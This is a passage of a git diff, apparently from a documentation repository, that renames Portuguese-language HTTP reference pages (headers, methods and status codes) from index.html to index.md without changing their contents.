index 100% rename from files/pt-br/web/http/headers/access-control-allow-credentials/index.html rename to files/pt-br/web/http/headers/access-control-allow-credentials/index.md diff --git a/files/pt-br/web/http/headers/access-control-allow-headers/index.html b/files/pt-br/web/http/headers/access-control-allow-headers/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-allow-headers/index.html rename to files/pt-br/web/http/headers/access-control-allow-headers/index.md diff --git a/files/pt-br/web/http/headers/access-control-allow-methods/index.html b/files/pt-br/web/http/headers/access-control-allow-methods/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-allow-methods/index.html rename to files/pt-br/web/http/headers/access-control-allow-methods/index.md diff --git a/files/pt-br/web/http/headers/access-control-allow-origin/index.html b/files/pt-br/web/http/headers/access-control-allow-origin/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-allow-origin/index.html rename to files/pt-br/web/http/headers/access-control-allow-origin/index.md diff --git a/files/pt-br/web/http/headers/access-control-expose-headers/index.html b/files/pt-br/web/http/headers/access-control-expose-headers/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-expose-headers/index.html rename to files/pt-br/web/http/headers/access-control-expose-headers/index.md diff --git a/files/pt-br/web/http/headers/access-control-max-age/index.html b/files/pt-br/web/http/headers/access-control-max-age/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-max-age/index.html rename to files/pt-br/web/http/headers/access-control-max-age/index.md diff --git a/files/pt-br/web/http/headers/access-control-request-headers/index.html b/files/pt-br/web/http/headers/access-control-request-headers/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-request-headers/index.html rename to files/pt-br/web/http/headers/access-control-request-headers/index.md diff --git a/files/pt-br/web/http/headers/access-control-request-method/index.html b/files/pt-br/web/http/headers/access-control-request-method/index.md similarity index 100% rename from files/pt-br/web/http/headers/access-control-request-method/index.html rename to files/pt-br/web/http/headers/access-control-request-method/index.md diff --git a/files/pt-br/web/http/headers/age/index.html b/files/pt-br/web/http/headers/age/index.md similarity index 100% rename from files/pt-br/web/http/headers/age/index.html rename to files/pt-br/web/http/headers/age/index.md diff --git a/files/pt-br/web/http/headers/allow/index.html b/files/pt-br/web/http/headers/allow/index.md similarity index 100% rename from files/pt-br/web/http/headers/allow/index.html rename to files/pt-br/web/http/headers/allow/index.md diff --git a/files/pt-br/web/http/headers/alt-svc/index.html b/files/pt-br/web/http/headers/alt-svc/index.md similarity index 100% rename from files/pt-br/web/http/headers/alt-svc/index.html rename to files/pt-br/web/http/headers/alt-svc/index.md diff --git a/files/pt-br/web/http/headers/authorization/index.html b/files/pt-br/web/http/headers/authorization/index.md similarity index 100% rename from files/pt-br/web/http/headers/authorization/index.html rename to files/pt-br/web/http/headers/authorization/index.md diff --git a/files/pt-br/web/http/headers/cache-control/index.html b/files/pt-br/web/http/headers/cache-control/index.md similarity index 100% rename from files/pt-br/web/http/headers/cache-control/index.html rename to files/pt-br/web/http/headers/cache-control/index.md diff --git a/files/pt-br/web/http/headers/clear-site-data/index.html b/files/pt-br/web/http/headers/clear-site-data/index.md similarity index 100% rename from files/pt-br/web/http/headers/clear-site-data/index.html rename to files/pt-br/web/http/headers/clear-site-data/index.md diff --git a/files/pt-br/web/http/headers/connection/index.html b/files/pt-br/web/http/headers/connection/index.md similarity index 100% rename from files/pt-br/web/http/headers/connection/index.html rename to files/pt-br/web/http/headers/connection/index.md diff --git a/files/pt-br/web/http/headers/content-disposition/index.html b/files/pt-br/web/http/headers/content-disposition/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-disposition/index.html rename to files/pt-br/web/http/headers/content-disposition/index.md diff --git a/files/pt-br/web/http/headers/content-encoding/index.html b/files/pt-br/web/http/headers/content-encoding/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-encoding/index.html rename to files/pt-br/web/http/headers/content-encoding/index.md diff --git a/files/pt-br/web/http/headers/content-language/index.html b/files/pt-br/web/http/headers/content-language/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-language/index.html rename to files/pt-br/web/http/headers/content-language/index.md diff --git a/files/pt-br/web/http/headers/content-length/index.html b/files/pt-br/web/http/headers/content-length/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-length/index.html rename to files/pt-br/web/http/headers/content-length/index.md diff --git a/files/pt-br/web/http/headers/content-location/index.html b/files/pt-br/web/http/headers/content-location/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-location/index.html rename to files/pt-br/web/http/headers/content-location/index.md diff --git a/files/pt-br/web/http/headers/content-range/index.html b/files/pt-br/web/http/headers/content-range/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-range/index.html rename to files/pt-br/web/http/headers/content-range/index.md diff --git a/files/pt-br/web/http/headers/content-security-policy-report-only/index.html b/files/pt-br/web/http/headers/content-security-policy-report-only/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-security-policy-report-only/index.html rename to files/pt-br/web/http/headers/content-security-policy-report-only/index.md diff --git a/files/pt-br/web/http/headers/content-security-policy/index.html b/files/pt-br/web/http/headers/content-security-policy/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-security-policy/index.html rename to files/pt-br/web/http/headers/content-security-policy/index.md diff --git a/files/pt-br/web/http/headers/content-type/index.html b/files/pt-br/web/http/headers/content-type/index.md similarity index 100% rename from files/pt-br/web/http/headers/content-type/index.html rename to files/pt-br/web/http/headers/content-type/index.md diff --git a/files/pt-br/web/http/headers/cookie/index.html b/files/pt-br/web/http/headers/cookie/index.md similarity index 100% rename from files/pt-br/web/http/headers/cookie/index.html rename to files/pt-br/web/http/headers/cookie/index.md diff --git a/files/pt-br/web/http/headers/cross-origin-resource-policy/index.html b/files/pt-br/web/http/headers/cross-origin-resource-policy/index.md similarity index 100% rename from files/pt-br/web/http/headers/cross-origin-resource-policy/index.html rename to files/pt-br/web/http/headers/cross-origin-resource-policy/index.md diff --git a/files/pt-br/web/http/headers/date/index.html b/files/pt-br/web/http/headers/date/index.md similarity index 100% rename from files/pt-br/web/http/headers/date/index.html rename to files/pt-br/web/http/headers/date/index.md diff --git a/files/pt-br/web/http/headers/device-memory/index.html b/files/pt-br/web/http/headers/device-memory/index.md similarity index 100% rename from files/pt-br/web/http/headers/device-memory/index.html rename to files/pt-br/web/http/headers/device-memory/index.md diff --git a/files/pt-br/web/http/headers/digest/index.html b/files/pt-br/web/http/headers/digest/index.md similarity index 100% rename from files/pt-br/web/http/headers/digest/index.html rename to files/pt-br/web/http/headers/digest/index.md diff --git a/files/pt-br/web/http/headers/dnt/index.html b/files/pt-br/web/http/headers/dnt/index.md similarity index 100% rename from files/pt-br/web/http/headers/dnt/index.html rename to files/pt-br/web/http/headers/dnt/index.md diff --git a/files/pt-br/web/http/headers/dpr/index.html b/files/pt-br/web/http/headers/dpr/index.md similarity index 100% rename from files/pt-br/web/http/headers/dpr/index.html rename to files/pt-br/web/http/headers/dpr/index.md diff --git a/files/pt-br/web/http/headers/early-data/index.html b/files/pt-br/web/http/headers/early-data/index.md similarity index 100% rename from files/pt-br/web/http/headers/early-data/index.html rename to files/pt-br/web/http/headers/early-data/index.md diff --git a/files/pt-br/web/http/headers/etag/index.html b/files/pt-br/web/http/headers/etag/index.md similarity index 100% rename from files/pt-br/web/http/headers/etag/index.html rename to files/pt-br/web/http/headers/etag/index.md diff --git a/files/pt-br/web/http/headers/expect-ct/index.html b/files/pt-br/web/http/headers/expect-ct/index.md similarity index 100% rename from files/pt-br/web/http/headers/expect-ct/index.html rename to files/pt-br/web/http/headers/expect-ct/index.md diff --git a/files/pt-br/web/http/headers/expect/index.html b/files/pt-br/web/http/headers/expect/index.md similarity index 100% rename from files/pt-br/web/http/headers/expect/index.html rename to files/pt-br/web/http/headers/expect/index.md diff --git a/files/pt-br/web/http/headers/expires/index.html b/files/pt-br/web/http/headers/expires/index.md similarity index 100% rename from files/pt-br/web/http/headers/expires/index.html rename to files/pt-br/web/http/headers/expires/index.md diff --git a/files/pt-br/web/http/headers/feature-policy/index.html b/files/pt-br/web/http/headers/feature-policy/index.md similarity index 100% rename from files/pt-br/web/http/headers/feature-policy/index.html rename to files/pt-br/web/http/headers/feature-policy/index.md diff --git a/files/pt-br/web/http/headers/forwarded/index.html b/files/pt-br/web/http/headers/forwarded/index.md similarity index 100% rename from files/pt-br/web/http/headers/forwarded/index.html rename to files/pt-br/web/http/headers/forwarded/index.md diff --git a/files/pt-br/web/http/headers/from/index.html b/files/pt-br/web/http/headers/from/index.md similarity index 100% rename from files/pt-br/web/http/headers/from/index.html rename to files/pt-br/web/http/headers/from/index.md diff --git a/files/pt-br/web/http/headers/host/index.html b/files/pt-br/web/http/headers/host/index.md similarity index 100% rename from files/pt-br/web/http/headers/host/index.html rename to files/pt-br/web/http/headers/host/index.md diff --git a/files/pt-br/web/http/headers/if-match/index.html b/files/pt-br/web/http/headers/if-match/index.md similarity index 100% rename from files/pt-br/web/http/headers/if-match/index.html rename to files/pt-br/web/http/headers/if-match/index.md diff --git a/files/pt-br/web/http/headers/if-modified-since/index.html b/files/pt-br/web/http/headers/if-modified-since/index.md similarity index 100% rename from files/pt-br/web/http/headers/if-modified-since/index.html rename to files/pt-br/web/http/headers/if-modified-since/index.md diff --git a/files/pt-br/web/http/headers/if-none-match/index.html b/files/pt-br/web/http/headers/if-none-match/index.md similarity index 100% rename from files/pt-br/web/http/headers/if-none-match/index.html rename to files/pt-br/web/http/headers/if-none-match/index.md diff --git a/files/pt-br/web/http/headers/if-range/index.html b/files/pt-br/web/http/headers/if-range/index.md similarity index 100% rename from files/pt-br/web/http/headers/if-range/index.html rename to files/pt-br/web/http/headers/if-range/index.md diff --git a/files/pt-br/web/http/headers/if-unmodified-since/index.html b/files/pt-br/web/http/headers/if-unmodified-since/index.md similarity index 100% rename from files/pt-br/web/http/headers/if-unmodified-since/index.html rename to files/pt-br/web/http/headers/if-unmodified-since/index.md diff --git a/files/pt-br/web/http/headers/index.html b/files/pt-br/web/http/headers/index.md similarity index 100% rename from files/pt-br/web/http/headers/index.html rename to files/pt-br/web/http/headers/index.md diff --git a/files/pt-br/web/http/headers/keep-alive/index.html b/files/pt-br/web/http/headers/keep-alive/index.md similarity index 100% rename from files/pt-br/web/http/headers/keep-alive/index.html rename to files/pt-br/web/http/headers/keep-alive/index.md diff --git a/files/pt-br/web/http/headers/large-allocation/index.html b/files/pt-br/web/http/headers/large-allocation/index.md similarity index 100% rename from files/pt-br/web/http/headers/large-allocation/index.html rename to files/pt-br/web/http/headers/large-allocation/index.md diff --git a/files/pt-br/web/http/headers/last-modified/index.html b/files/pt-br/web/http/headers/last-modified/index.md similarity index 100% rename from files/pt-br/web/http/headers/last-modified/index.html rename to files/pt-br/web/http/headers/last-modified/index.md diff --git a/files/pt-br/web/http/headers/link/index.html b/files/pt-br/web/http/headers/link/index.md similarity index 100% rename from files/pt-br/web/http/headers/link/index.html rename to files/pt-br/web/http/headers/link/index.md diff --git a/files/pt-br/web/http/headers/location/index.html b/files/pt-br/web/http/headers/location/index.md similarity index 100% rename from files/pt-br/web/http/headers/location/index.html rename to files/pt-br/web/http/headers/location/index.md diff --git a/files/pt-br/web/http/headers/nel/index.html b/files/pt-br/web/http/headers/nel/index.md similarity index 100% rename from files/pt-br/web/http/headers/nel/index.html rename to files/pt-br/web/http/headers/nel/index.md diff --git a/files/pt-br/web/http/headers/origin/index.html b/files/pt-br/web/http/headers/origin/index.md similarity index 100% rename from files/pt-br/web/http/headers/origin/index.html rename to files/pt-br/web/http/headers/origin/index.md diff --git a/files/pt-br/web/http/headers/pragma/index.html b/files/pt-br/web/http/headers/pragma/index.md similarity index 100% rename from files/pt-br/web/http/headers/pragma/index.html rename to files/pt-br/web/http/headers/pragma/index.md diff --git a/files/pt-br/web/http/headers/proxy-authenticate/index.html b/files/pt-br/web/http/headers/proxy-authenticate/index.md similarity index 100% rename from files/pt-br/web/http/headers/proxy-authenticate/index.html rename to files/pt-br/web/http/headers/proxy-authenticate/index.md diff --git a/files/pt-br/web/http/headers/proxy-authorization/index.html b/files/pt-br/web/http/headers/proxy-authorization/index.md similarity index 100% rename from files/pt-br/web/http/headers/proxy-authorization/index.html rename to files/pt-br/web/http/headers/proxy-authorization/index.md diff --git a/files/pt-br/web/http/headers/range/index.html b/files/pt-br/web/http/headers/range/index.md similarity index 100% rename from files/pt-br/web/http/headers/range/index.html rename to files/pt-br/web/http/headers/range/index.md diff --git a/files/pt-br/web/http/headers/referer/index.html b/files/pt-br/web/http/headers/referer/index.md similarity index 100% rename from files/pt-br/web/http/headers/referer/index.html rename to files/pt-br/web/http/headers/referer/index.md diff --git a/files/pt-br/web/http/headers/referrer-policy/index.html b/files/pt-br/web/http/headers/referrer-policy/index.md similarity index 100% rename from files/pt-br/web/http/headers/referrer-policy/index.html rename to files/pt-br/web/http/headers/referrer-policy/index.md diff --git a/files/pt-br/web/http/headers/retry-after/index.html b/files/pt-br/web/http/headers/retry-after/index.md similarity index 100% rename from files/pt-br/web/http/headers/retry-after/index.html rename to files/pt-br/web/http/headers/retry-after/index.md diff --git a/files/pt-br/web/http/headers/save-data/index.html b/files/pt-br/web/http/headers/save-data/index.md similarity index 100% rename from files/pt-br/web/http/headers/save-data/index.html rename to files/pt-br/web/http/headers/save-data/index.md diff --git a/files/pt-br/web/http/headers/sec-fetch-site/index.html b/files/pt-br/web/http/headers/sec-fetch-site/index.md similarity index 100% rename from files/pt-br/web/http/headers/sec-fetch-site/index.html rename to files/pt-br/web/http/headers/sec-fetch-site/index.md diff --git a/files/pt-br/web/http/headers/server-timing/index.html b/files/pt-br/web/http/headers/server-timing/index.md similarity index 100% rename from files/pt-br/web/http/headers/server-timing/index.html rename to files/pt-br/web/http/headers/server-timing/index.md diff --git a/files/pt-br/web/http/headers/server/index.html b/files/pt-br/web/http/headers/server/index.md similarity index 100% rename from files/pt-br/web/http/headers/server/index.html rename to files/pt-br/web/http/headers/server/index.md diff --git a/files/pt-br/web/http/headers/set-cookie/index.html b/files/pt-br/web/http/headers/set-cookie/index.md similarity index 100% rename from files/pt-br/web/http/headers/set-cookie/index.html rename to files/pt-br/web/http/headers/set-cookie/index.md diff --git a/files/pt-br/web/http/headers/set-cookie/samesite/index.html b/files/pt-br/web/http/headers/set-cookie/samesite/index.md similarity index 100% rename from files/pt-br/web/http/headers/set-cookie/samesite/index.html rename to files/pt-br/web/http/headers/set-cookie/samesite/index.md diff --git a/files/pt-br/web/http/headers/sourcemap/index.html b/files/pt-br/web/http/headers/sourcemap/index.md similarity index 100% rename from files/pt-br/web/http/headers/sourcemap/index.html rename to files/pt-br/web/http/headers/sourcemap/index.md diff --git a/files/pt-br/web/http/headers/strict-transport-security/index.html b/files/pt-br/web/http/headers/strict-transport-security/index.md similarity index 100% rename from files/pt-br/web/http/headers/strict-transport-security/index.html rename to files/pt-br/web/http/headers/strict-transport-security/index.md diff --git a/files/pt-br/web/http/headers/te/index.html b/files/pt-br/web/http/headers/te/index.md similarity index 100% rename from files/pt-br/web/http/headers/te/index.html rename to files/pt-br/web/http/headers/te/index.md diff --git a/files/pt-br/web/http/headers/timing-allow-origin/index.html b/files/pt-br/web/http/headers/timing-allow-origin/index.md similarity index 100% rename from files/pt-br/web/http/headers/timing-allow-origin/index.html rename to files/pt-br/web/http/headers/timing-allow-origin/index.md diff --git a/files/pt-br/web/http/headers/tk/index.html b/files/pt-br/web/http/headers/tk/index.md similarity index 100% rename from files/pt-br/web/http/headers/tk/index.html rename to files/pt-br/web/http/headers/tk/index.md diff --git a/files/pt-br/web/http/headers/trailer/index.html b/files/pt-br/web/http/headers/trailer/index.md similarity index 100% rename from files/pt-br/web/http/headers/trailer/index.html rename to files/pt-br/web/http/headers/trailer/index.md diff --git a/files/pt-br/web/http/headers/transfer-encoding/index.html b/files/pt-br/web/http/headers/transfer-encoding/index.md similarity index 100% rename from files/pt-br/web/http/headers/transfer-encoding/index.html rename to files/pt-br/web/http/headers/transfer-encoding/index.md diff --git a/files/pt-br/web/http/headers/upgrade-insecure-requests/index.html b/files/pt-br/web/http/headers/upgrade-insecure-requests/index.md similarity index 100% rename from files/pt-br/web/http/headers/upgrade-insecure-requests/index.html rename to files/pt-br/web/http/headers/upgrade-insecure-requests/index.md diff --git a/files/pt-br/web/http/headers/user-agent/index.html b/files/pt-br/web/http/headers/user-agent/index.md similarity index 100% rename from files/pt-br/web/http/headers/user-agent/index.html rename to files/pt-br/web/http/headers/user-agent/index.md diff --git a/files/pt-br/web/http/headers/vary/index.html b/files/pt-br/web/http/headers/vary/index.md similarity index 100% rename from files/pt-br/web/http/headers/vary/index.html rename to files/pt-br/web/http/headers/vary/index.md diff --git a/files/pt-br/web/http/headers/via/index.html b/files/pt-br/web/http/headers/via/index.md similarity index 100% rename from files/pt-br/web/http/headers/via/index.html rename to files/pt-br/web/http/headers/via/index.md diff --git a/files/pt-br/web/http/headers/want-digest/index.html b/files/pt-br/web/http/headers/want-digest/index.md similarity index 100% rename from files/pt-br/web/http/headers/want-digest/index.html rename to files/pt-br/web/http/headers/want-digest/index.md diff --git a/files/pt-br/web/http/headers/warning/index.html b/files/pt-br/web/http/headers/warning/index.md similarity index 100% rename from files/pt-br/web/http/headers/warning/index.html rename to files/pt-br/web/http/headers/warning/index.md diff --git a/files/pt-br/web/http/headers/www-authenticate/index.html b/files/pt-br/web/http/headers/www-authenticate/index.md similarity index 100% rename from files/pt-br/web/http/headers/www-authenticate/index.html rename to files/pt-br/web/http/headers/www-authenticate/index.md diff --git a/files/pt-br/web/http/headers/x-content-type-options/index.html b/files/pt-br/web/http/headers/x-content-type-options/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-content-type-options/index.html rename to files/pt-br/web/http/headers/x-content-type-options/index.md diff --git a/files/pt-br/web/http/headers/x-dns-prefetch-control/index.html b/files/pt-br/web/http/headers/x-dns-prefetch-control/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-dns-prefetch-control/index.html rename to files/pt-br/web/http/headers/x-dns-prefetch-control/index.md diff --git a/files/pt-br/web/http/headers/x-forwarded-for/index.html b/files/pt-br/web/http/headers/x-forwarded-for/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-forwarded-for/index.html rename to files/pt-br/web/http/headers/x-forwarded-for/index.md diff --git a/files/pt-br/web/http/headers/x-forwarded-host/index.html b/files/pt-br/web/http/headers/x-forwarded-host/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-forwarded-host/index.html rename to files/pt-br/web/http/headers/x-forwarded-host/index.md diff --git a/files/pt-br/web/http/headers/x-forwarded-proto/index.html b/files/pt-br/web/http/headers/x-forwarded-proto/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-forwarded-proto/index.html rename to files/pt-br/web/http/headers/x-forwarded-proto/index.md diff --git a/files/pt-br/web/http/headers/x-frame-options/index.html b/files/pt-br/web/http/headers/x-frame-options/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-frame-options/index.html rename to files/pt-br/web/http/headers/x-frame-options/index.md diff --git a/files/pt-br/web/http/headers/x-xss-protection/index.html b/files/pt-br/web/http/headers/x-xss-protection/index.md similarity index 100% rename from files/pt-br/web/http/headers/x-xss-protection/index.html rename to files/pt-br/web/http/headers/x-xss-protection/index.md diff --git a/files/pt-br/web/http/index.html b/files/pt-br/web/http/index.md similarity index 100% rename from files/pt-br/web/http/index.html rename to files/pt-br/web/http/index.md diff --git a/files/pt-br/web/http/messages/index.html b/files/pt-br/web/http/messages/index.md similarity index 100% rename from files/pt-br/web/http/messages/index.html rename to files/pt-br/web/http/messages/index.md diff --git a/files/pt-br/web/http/methods/connect/index.html b/files/pt-br/web/http/methods/connect/index.md similarity index 100% rename from files/pt-br/web/http/methods/connect/index.html rename to files/pt-br/web/http/methods/connect/index.md diff --git a/files/pt-br/web/http/methods/delete/index.html b/files/pt-br/web/http/methods/delete/index.md similarity index 100% rename from files/pt-br/web/http/methods/delete/index.html rename to files/pt-br/web/http/methods/delete/index.md diff --git a/files/pt-br/web/http/methods/get/index.html b/files/pt-br/web/http/methods/get/index.md similarity index 100% rename from files/pt-br/web/http/methods/get/index.html rename to files/pt-br/web/http/methods/get/index.md diff --git a/files/pt-br/web/http/methods/head/index.html b/files/pt-br/web/http/methods/head/index.md similarity index 100% rename from files/pt-br/web/http/methods/head/index.html rename to files/pt-br/web/http/methods/head/index.md diff --git a/files/pt-br/web/http/methods/index.html b/files/pt-br/web/http/methods/index.md similarity index 100% rename from files/pt-br/web/http/methods/index.html rename to files/pt-br/web/http/methods/index.md diff --git a/files/pt-br/web/http/methods/options/index.html b/files/pt-br/web/http/methods/options/index.md similarity index 100% rename from files/pt-br/web/http/methods/options/index.html rename to files/pt-br/web/http/methods/options/index.md diff --git a/files/pt-br/web/http/methods/patch/index.html b/files/pt-br/web/http/methods/patch/index.md similarity index 100% rename from files/pt-br/web/http/methods/patch/index.html rename to files/pt-br/web/http/methods/patch/index.md diff --git a/files/pt-br/web/http/methods/post/index.html b/files/pt-br/web/http/methods/post/index.md similarity index 100% rename from files/pt-br/web/http/methods/post/index.html rename to files/pt-br/web/http/methods/post/index.md diff --git a/files/pt-br/web/http/methods/put/index.html b/files/pt-br/web/http/methods/put/index.md similarity index 100% rename from files/pt-br/web/http/methods/put/index.html rename to files/pt-br/web/http/methods/put/index.md diff --git a/files/pt-br/web/http/methods/trace/index.html b/files/pt-br/web/http/methods/trace/index.md similarity index 100% rename from files/pt-br/web/http/methods/trace/index.html rename to files/pt-br/web/http/methods/trace/index.md diff --git a/files/pt-br/web/http/overview/index.html b/files/pt-br/web/http/overview/index.md similarity index 100% rename from files/pt-br/web/http/overview/index.html rename to files/pt-br/web/http/overview/index.md diff --git a/files/pt-br/web/http/redirections/index.html b/files/pt-br/web/http/redirections/index.md similarity index 100% rename from files/pt-br/web/http/redirections/index.html rename to files/pt-br/web/http/redirections/index.md diff --git a/files/pt-br/web/http/session/index.html b/files/pt-br/web/http/session/index.md similarity index 100% rename from files/pt-br/web/http/session/index.html rename to files/pt-br/web/http/session/index.md diff --git a/files/pt-br/web/http/status/100/index.html b/files/pt-br/web/http/status/100/index.md similarity index 100% rename from files/pt-br/web/http/status/100/index.html rename to files/pt-br/web/http/status/100/index.md diff --git a/files/pt-br/web/http/status/101/index.html b/files/pt-br/web/http/status/101/index.md similarity index 100% rename from files/pt-br/web/http/status/101/index.html rename to files/pt-br/web/http/status/101/index.md diff --git a/files/pt-br/web/http/status/103/index.html b/files/pt-br/web/http/status/103/index.md similarity index 100% rename from files/pt-br/web/http/status/103/index.html rename to files/pt-br/web/http/status/103/index.md diff --git a/files/pt-br/web/http/status/200/index.html b/files/pt-br/web/http/status/200/index.md similarity index 100% rename from files/pt-br/web/http/status/200/index.html rename to files/pt-br/web/http/status/200/index.md diff --git a/files/pt-br/web/http/status/201/index.html b/files/pt-br/web/http/status/201/index.md similarity index 100% rename from files/pt-br/web/http/status/201/index.html rename to files/pt-br/web/http/status/201/index.md diff --git a/files/pt-br/web/http/status/202/index.html b/files/pt-br/web/http/status/202/index.md similarity index 100% rename from files/pt-br/web/http/status/202/index.html rename to files/pt-br/web/http/status/202/index.md diff --git a/files/pt-br/web/http/status/203/index.html b/files/pt-br/web/http/status/203/index.md similarity index 100% rename from files/pt-br/web/http/status/203/index.html rename to files/pt-br/web/http/status/203/index.md diff --git a/files/pt-br/web/http/status/204/index.html b/files/pt-br/web/http/status/204/index.md similarity index 100% rename from files/pt-br/web/http/status/204/index.html rename to files/pt-br/web/http/status/204/index.md diff --git a/files/pt-br/web/http/status/205/index.html b/files/pt-br/web/http/status/205/index.md similarity index 100% rename from files/pt-br/web/http/status/205/index.html rename to files/pt-br/web/http/status/205/index.md diff --git a/files/pt-br/web/http/status/206/index.html b/files/pt-br/web/http/status/206/index.md similarity index 100% rename from files/pt-br/web/http/status/206/index.html rename to files/pt-br/web/http/status/206/index.md diff --git a/files/pt-br/web/http/status/300/index.html b/files/pt-br/web/http/status/300/index.md similarity index 100% rename from files/pt-br/web/http/status/300/index.html rename to files/pt-br/web/http/status/300/index.md diff --git a/files/pt-br/web/http/status/301/index.html b/files/pt-br/web/http/status/301/index.md similarity index 100% rename from files/pt-br/web/http/status/301/index.html rename to files/pt-br/web/http/status/301/index.md diff --git a/files/pt-br/web/http/status/302/index.html b/files/pt-br/web/http/status/302/index.md similarity index 100% rename from files/pt-br/web/http/status/302/index.html rename to files/pt-br/web/http/status/302/index.md diff --git a/files/pt-br/web/http/status/303/index.html b/files/pt-br/web/http/status/303/index.md similarity index 100% rename from files/pt-br/web/http/status/303/index.html rename to files/pt-br/web/http/status/303/index.md diff --git a/files/pt-br/web/http/status/304/index.html b/files/pt-br/web/http/status/304/index.md similarity index 100% rename from files/pt-br/web/http/status/304/index.html rename to files/pt-br/web/http/status/304/index.md diff --git a/files/pt-br/web/http/status/307/index.html b/files/pt-br/web/http/status/307/index.md similarity index 100% rename from files/pt-br/web/http/status/307/index.html rename to files/pt-br/web/http/status/307/index.md diff --git a/files/pt-br/web/http/status/308/index.html b/files/pt-br/web/http/status/308/index.md similarity index 100% rename from files/pt-br/web/http/status/308/index.html rename to files/pt-br/web/http/status/308/index.md diff --git a/files/pt-br/web/http/status/400/index.html b/files/pt-br/web/http/status/400/index.md similarity index 100% rename from files/pt-br/web/http/status/400/index.html rename to files/pt-br/web/http/status/400/index.md diff --git a/files/pt-br/web/http/status/401/index.html b/files/pt-br/web/http/status/401/index.md similarity index 100% rename from files/pt-br/web/http/status/401/index.html rename to files/pt-br/web/http/status/401/index.md diff --git a/files/pt-br/web/http/status/402/index.html b/files/pt-br/web/http/status/402/index.md similarity index 100% rename from files/pt-br/web/http/status/402/index.html rename to files/pt-br/web/http/status/402/index.md diff --git a/files/pt-br/web/http/status/403/index.html b/files/pt-br/web/http/status/403/index.md similarity index 100% rename from files/pt-br/web/http/status/403/index.html rename to files/pt-br/web/http/status/403/index.md diff --git a/files/pt-br/web/http/status/404/index.html b/files/pt-br/web/http/status/404/index.md similarity index 100% rename from files/pt-br/web/http/status/404/index.html rename to files/pt-br/web/http/status/404/index.md diff --git a/files/pt-br/web/http/status/405/index.html b/files/pt-br/web/http/status/405/index.md similarity index 100% rename from files/pt-br/web/http/status/405/index.html rename to files/pt-br/web/http/status/405/index.md diff --git a/files/pt-br/web/http/status/406/index.html b/files/pt-br/web/http/status/406/index.md similarity index 100% rename from files/pt-br/web/http/status/406/index.html rename to files/pt-br/web/http/status/406/index.md diff --git a/files/pt-br/web/http/status/407/index.html b/files/pt-br/web/http/status/407/index.md similarity index 100% rename from files/pt-br/web/http/status/407/index.html rename to files/pt-br/web/http/status/407/index.md diff --git a/files/pt-br/web/http/status/408/index.html b/files/pt-br/web/http/status/408/index.md similarity index 100% rename from files/pt-br/web/http/status/408/index.html rename to files/pt-br/web/http/status/408/index.md diff --git a/files/pt-br/web/http/status/409/index.html b/files/pt-br/web/http/status/409/index.md similarity index 100% rename from files/pt-br/web/http/status/409/index.html rename to files/pt-br/web/http/status/409/index.md diff --git a/files/pt-br/web/http/status/410/index.html b/files/pt-br/web/http/status/410/index.md similarity index 100% rename from files/pt-br/web/http/status/410/index.html rename to files/pt-br/web/http/status/410/index.md diff --git a/files/pt-br/web/http/status/411/index.html b/files/pt-br/web/http/status/411/index.md similarity index 100% rename from files/pt-br/web/http/status/411/index.html rename to files/pt-br/web/http/status/411/index.md diff --git a/files/pt-br/web/http/status/412/index.html b/files/pt-br/web/http/status/412/index.md similarity index 100% rename from files/pt-br/web/http/status/412/index.html rename to files/pt-br/web/http/status/412/index.md diff --git a/files/pt-br/web/http/status/413/index.html b/files/pt-br/web/http/status/413/index.md similarity index 100% rename from files/pt-br/web/http/status/413/index.html rename to files/pt-br/web/http/status/413/index.md diff --git a/files/pt-br/web/http/status/414/index.html b/files/pt-br/web/http/status/414/index.md similarity index 100% rename from files/pt-br/web/http/status/414/index.html rename to files/pt-br/web/http/status/414/index.md diff --git a/files/pt-br/web/http/status/415/index.html b/files/pt-br/web/http/status/415/index.md similarity index 100% rename from files/pt-br/web/http/status/415/index.html rename to files/pt-br/web/http/status/415/index.md diff --git a/files/pt-br/web/http/status/416/index.html b/files/pt-br/web/http/status/416/index.md similarity index 100% rename from files/pt-br/web/http/status/416/index.html rename to files/pt-br/web/http/status/416/index.md diff --git a/files/pt-br/web/http/status/417/index.html b/files/pt-br/web/http/status/417/index.md similarity index 100% rename from files/pt-br/web/http/status/417/index.html rename to files/pt-br/web/http/status/417/index.md diff --git a/files/pt-br/web/http/status/418/index.html b/files/pt-br/web/http/status/418/index.md similarity index 100% rename from files/pt-br/web/http/status/418/index.html rename to files/pt-br/web/http/status/418/index.md diff --git a/files/pt-br/web/http/status/422/index.html b/files/pt-br/web/http/status/422/index.md similarity index 100% rename from files/pt-br/web/http/status/422/index.html rename to files/pt-br/web/http/status/422/index.md diff --git a/files/pt-br/web/http/status/425/index.html b/files/pt-br/web/http/status/425/index.md similarity index 100% rename from files/pt-br/web/http/status/425/index.html rename to files/pt-br/web/http/status/425/index.md diff --git a/files/pt-br/web/http/status/426/index.html b/files/pt-br/web/http/status/426/index.md similarity index 100% rename from files/pt-br/web/http/status/426/index.html rename to files/pt-br/web/http/status/426/index.md diff --git a/files/pt-br/web/http/status/428/index.html b/files/pt-br/web/http/status/428/index.md similarity index 100% rename from files/pt-br/web/http/status/428/index.html rename to files/pt-br/web/http/status/428/index.md diff --git a/files/pt-br/web/http/status/429/index.html b/files/pt-br/web/http/status/429/index.md similarity index 100% rename from files/pt-br/web/http/status/429/index.html rename to files/pt-br/web/http/status/429/index.md diff --git a/files/pt-br/web/http/status/431/index.html b/files/pt-br/web/http/status/431/index.md similarity index 100% rename from files/pt-br/web/http/status/431/index.html rename to files/pt-br/web/http/status/431/index.md diff --git a/files/pt-br/web/http/status/451/index.html 